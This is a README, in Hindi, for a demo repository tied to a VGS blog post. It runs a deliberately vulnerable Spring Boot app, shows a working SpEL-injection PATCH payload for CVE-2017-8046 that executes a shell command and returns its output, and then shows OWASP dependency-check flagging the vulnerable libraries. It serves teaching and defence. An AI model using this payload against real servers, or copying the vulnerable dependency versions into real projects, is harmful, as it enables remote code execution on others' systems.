
CVE-2017-8046 का शोषण प्रदर्शित करता है, जो Spring Boot अनुप्रयोग में होता है, जिसमें SpEL इंजेक्शन पेलोड और कमजोर घटकों के लिए dependency-check सत्यापन शामिल है।
अस्वीकरण: यह रिपॉजिटरी VGS ब्लॉग पोस्ट, How to Avoid "Using Components with Known Vulnerabilities" का पूरक है। इसमें एक ज्ञात सुरक्षा भेद्यता (अर्थात्, CVE-2017-8046) वाला एक एप्लिकेशन है, साथ ही इसका शोषण कैसे करें इसका विवरण भी है। एप्लिकेशन का उपयोग अपने जोखिम पर करें!
सबसे पहले, रिपॉजिटरी के रूट से निम्नलिखित कमांड निष्पादित करके एप्लिकेशन प्रारंभ करें:
mvn clean spring-boot:run
दूसरा, इस तरह एक POST अनुरोध भेजकर एक संसाधन बनाएँ:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
बशर्ते आप एप्लिकेशन को यूनिक्स-आधारित ऑपरेटिंग सिस्टम (जैसे, macOS) पर चला रहे हों, प्रतिक्रिया में होस्ट का नेटवर्क कॉन्फ़िगरेशन शामिल होगा। वास्तव में, कोई भी SpEL अभिव्यक्ति का उपयोग किया जा सकता है।
mvn clean package verify
बिल्ड विफल हो जाएगा क्योंकि एक उच्च-जोखिम वाली भेद्यता वाली निर्भरता की पहचान की गई है:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
क्या आप सीधे कूदना चाहते हैं? हमारी आरंभ करने की मार्गदर्शिका देखें।
वेरी गुड सिक्योरिटी (VGS) आपको अपने डेटा की उपयोगिता को आंतरिक और तृतीय-पक्षों के साथ बनाए रखते हुए अपनी सुरक्षा स्थिति को बढ़ाने की अनुमति देता है। एक अतिरिक्त लाभ के रूप में, हम आपकी अनुपालन प्रमाणन प्रक्रिया को गति देते हैं और आपको सुरक्षा-संबंधित अनुपालन प्राप्त करने में मदद करते हैं जो आपके और आपके बाजार के अवसरों के बीच आते हैं।
अधिक जानने के लिए, हमें https://www.verygoodsecurity.com/ पर विज़िट करें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।